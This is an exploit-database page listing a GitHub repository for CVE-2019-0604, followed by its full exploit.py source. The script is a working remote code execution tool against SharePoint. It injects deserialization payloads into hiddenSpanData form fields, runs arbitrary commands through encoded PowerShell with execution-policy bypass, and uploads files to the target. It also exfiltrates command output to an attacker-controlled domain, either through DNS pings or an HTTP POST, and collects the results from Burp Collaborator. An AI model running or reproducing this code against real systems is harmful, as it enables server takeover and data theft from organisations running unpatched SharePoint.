Exploit databaseDownload repository ZIP
GH-856aca5944bcf9cb6fb1747f67075eb2
gh0st0ne/weaponized-0604
Sources for CVE-2019-0604
12 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files9
gh0st0ne/weaponized-0604Revision bd37840e73a7
- oob/
- .gitignore
- LICENSE
- README.md
- SHAREPOINT_RCE_OOB.png
- burpReq.py
- exploit.py
- requirements.txt
- sharepointkit.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.py
Suggested starting filePython · 9,771 bytesimport os
import sys
import base64
import argparse
from copy import deepcopy
import urllib3
import requests
import lxml.html
import burpReq
from sharepointkit import _0604
from oob import collab_handler, decoder as dns_decoder
try:
get_input = raw_input # py2
except:
get_input = input # py3
urllib3.disable_warnings()
default_ua = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'
def get_parser():
parser = argparse.ArgumentParser(description='Weaponized sharepoint 0604')
# request part
parser.add_argument('-r', dest='reqFile', help='burp request file template')
parser.add_argument('-u', dest='url', help='target url (usually with known plugin)')
oobg = parser.add_argument_group('OutOfBand')
oobg.add_argument('--oob', dest='domain', help='subdomain listener')
oobg.add_argument('--collab', dest='BurpCollabApi', action='store_true', help='Use burp collaborator http api')
oobg.add_argument('-oT', '--oobType', default=1, type=int, help='exfiltration methods to use (0 = Http Post, 1 = Dns, -1 = All above )')
# generic part
parser.add_argument('--ssl', action='store_true', help='use HTTPS')
parser.add_argument('-p', '--proxy', dest='proxy', type=str, help='use proxy')
parser.add_argument('--ntlm', action='store_true', help='use NTLM')
parser.add_argument('-U', '--user', required=False, help='<user:password> Server user and password')
parser.add_argument('-v', dest='verbose', default=0, type=int, help='debug level')
parser.add_argument('-c', dest='cmd', default='-', help='commands that running on target')
parser.add_argument('--script-file', dest='psscript', help='powershell script that running on target (will be encoded before sent)')
parser.add_argument('--file-from', dest='srcfile', help='file source on local machine')
parser.add_argument('--file-to', dest='dstfile', help='file destination on remote machine')
parser.add_argument('--bin', dest='Bin', help='binary to invoke remotely instead of cmd')
return parser
def parse_args(parser=get_parser()):
return parser.parse_args()
def main(args, get_input=get_input):
if args.url is None and args.reqFile is None:
print("missing target. You must specify -u <url> or -r <reqFile> to proceed")
exit(1)
if args.srcfile is not None and args.dstfile is not None:
print('Copy from local "%s" to remote "%s"' % (args.srcfile, args.dstfile))
_tmpfile = args.dstfile + ".chtpt"
_b64content = base64.b64encode(open(args.srcfile, 'rb').read()).decode()
# explode rate: LENGTH * 8 / 3
# file with 3000 char -- base64encode -> 4053 char
# file with 3000 char -- utf16-base64encode -> 8000 char
# echo base64 content into file
clength = len(_b64content)
args.cmds = []
_echo_template = 'echo|set /p="%s" >>"%s"'
#_echo_template = 'powershell -c "\'%s\' >>\'%s\'"'
_context_length = len(_echo_template % ("", _tmpfile))
_w = min(8000, 8180 - _context_length)
#_w = min(10000, 12000 - _context_length)
args.cmds.append('del %s' % (_tmpfile))
for seg in range(0, clength, _w):
args.cmds.append(_echo_template % (_b64content[seg : (seg+_w)], _tmpfile))
if args.verbose:
print("segment - %d" % seg)
print(args.cmds[-1])
# execute base64decode and save to dst.
ps_code = '''
$a = [IO.File]::ReadAllText("%s");
$b = [System.Convert]::FromBase64String($a);
set-content -Value $b -path %s -Encoding Byte -Force;
del "%s";
'''.strip() % (_tmpfile, args.dstfile, _tmpfile)
__data = base64.b64encode(ps_code.encode('UTF-16LE')).decode()
args.cmds.append('powershell -ep bypass -enc %s' % (__data))
elif args.psscript is not None:
if not os.path.exists(args.psscript):
print("File %s isn't exist!" % args.psscript)
exit(1)
__data = base64.b64encode(open(args.psscript).read().encode('UTF-16LE')).decode()
args.cmd = 'powershell -ep bypass -enc %s' % (__data)
elif args.cmd == '-' and not args.webshell:
print('read command from STDIN (^D at the end)')
args.cmd = sys.stdin.read().rstrip()
# OOB method
if args.BurpCollabApi:
if args.domain:
print('Warning: Domain "%s" will be ignored due to --collab' % args.domain)
args.domain = requests.get('http://127.0.0.1:8000/generatePayload').text
print('collaborator created: "%s"' % args.domain)
if args.domain is not None and args.psscript is None:
print('OOB: -c <cmd> will be executed in POWERSHELL context')
__var_raw = '$a'
__var_hex = '$b'
__dns_code = '''
$bl = %(v_hex)s.length;$l = 60;$i = 0;
while($i -lt $bl) {
$l = if(($bl - $i) -gt $l) { $l } else { $bl - $i };
$v = %(v_hex)s.substring($i, $l);
ping -n 1 "$i.$v.%(domain)s";
$i += $l; }
'''.strip() % dict(domain=args.domain, v_hex=__var_hex)
__post_code = '''
iwr -Uri %(domain)s -Method post -Body %(v_raw)s;
'''.strip() % dict(domain=args.domain, v_raw=__var_raw)
__code = '''
%(v_raw)s = %(cmd)s;
$Encode = new-object "System.Text.UTF8Encoding";
$bytearray = $Encode.GetBytes(%(v_raw)s);
%(v_hex)s = "";
Foreach ($i in $bytearray) {
%(v_hex)s = %(v_hex)s + $i.ToString("X").PadLeft(2,"0");
}
'''.strip() % dict(cmd=args.cmd, v_raw=__var_raw, v_hex=__var_hex)
if args.oobType == 0:
__code += __post_code
elif args.oobType == 1:
__code += __dns_code
else:
__code += __post_code + __dns_code
__code = base64.b64encode(__code.encode('UTF-16LE')).decode()
args.cmd = 'powershell -ep bypass -enc %s' % (__code)
if args.ntlm:
from requests_ntlm import HttpNtlmAuth
_auth = HttpNtlmAuth(*args.user.split(':', 1))
else:
_auth = None
_headers = {'User-Agent': default_ua}
req_kwargs = {
'headers': _headers,
'auth': _auth,
'verify': False
}
if args.proxy:
req_kwargs['proxies'] = {
'http': args.proxy,
'https': args.proxy,
}
#print(args)
# ==
scheme = 'https://' if args.ssl else 'http://'
def burp_sp_attack(kwargs):
method, url, kwargs['headers'], kwargs['data'], _ = burpReq.parse(args.reqFile)
if not hasattr(args, 'cmds'):
payload = _0604(args.cmd)
# find "ctl00$PlaceHolderDialogBodySection$ctlXX$hiddenSpanData" in body
vuln_params = list(filter(lambda x: x.endswith('$hiddenSpanData'), kwargs['data'].keys()))
if len(vuln_params) == 0:
print('No "ctl00$PlaceHolderDialogBodySection$ctlXX$hiddenSpanData" found in POST body')
exit(1)
for k in vuln_params:
kwargs['data'][k] = payload
return requests.request(method, scheme + url, allow_redirects=False, **kwargs)
else:
# TODO: refactor in the future
for payload in map(_0604, args.cmds):
vuln_params = list(filter(lambda x: x.endswith('$hiddenSpanData'), kwargs['data'].keys()))
for k in vuln_params:
kwargs['data'][k] = payload
r = requests.request(method, scheme + url, allow_redirects=False, **kwargs)
return r
def auto_sp_attack(kwargs):
# get sharepoint version (2019,2016 / 2013 / 2010)
res = requests.get(args.url, **kwargs)
spversion = res.headers.get('MicrosoftSharePointTeamServices', '16').split('.', 1)[0] + '.0.0.0'
kwargs['params'] = dict(PickerDialogType='Microsoft.SharePoint.WebControls.ItemPickerDialog,Microsoft.SharePoint,Version=%s,Culture=neutral,PublicKeyToken=71e9bce111e9429c' % spversion)
# get viewstate & ev from picker.aspx
res = requests.get(args.url, **kwargs)
if res.status_code != 200:
print('sharepoint picker.aspx not exists[%s]' % res.status_code)
exit(1)
rt = lxml.html.fromstring(res.content)
spandata = list(filter(lambda x: x.get('name').endswith('hiddenSpanData'), rt.xpath('//input[contains(@name, "hiddenSpanData")]')))[0].get('name')
kwargs['data'] = {
'__VIEWSTATE': rt.get_element_by_id('__VIEWSTATE').value if rt.xpath('//input[@id="__VIEWSTATE"]') else '',
'__EVENTVALIDATION': rt.get_element_by_id('__EVENTVALIDATION').value if rt.xpath('//input[@id="__EVENTVALIDATION"]') else '',
}
if not hasattr(args, 'cmds'):
payload = _0604(args.cmd)
kwargs['data'][spandata] = payload
return requests.post(args.url, **kwargs)
else:
for payload in map(_0604, args.cmds):
kwargs['data'][spandata] = payload
r = requests.post(args.url, **kwargs)
return r
if args.reqFile is not None:
attack_fn = burp_sp_attack
else:
attack_fn = auto_sp_attack
res = attack_fn(deepcopy(req_kwargs))
print('One Shot(%d) is enough in sharepoint' % res.status_code)
if args.domain is not None and args.BurpCollabApi:
print('Time to get something back !')
print('Assume U have installed "Burp Collaborator HTTP API"')
# try get response from collaborator http api
banner = "DNS queries: "
for current_result in collab_handler.poll(args.domain, dns_decoder):
sys.stdout.write('\r%s' % (banner + current_result))
sys.stdout.flush()
if __name__ == '__main__':
args = parse_args()
main(args)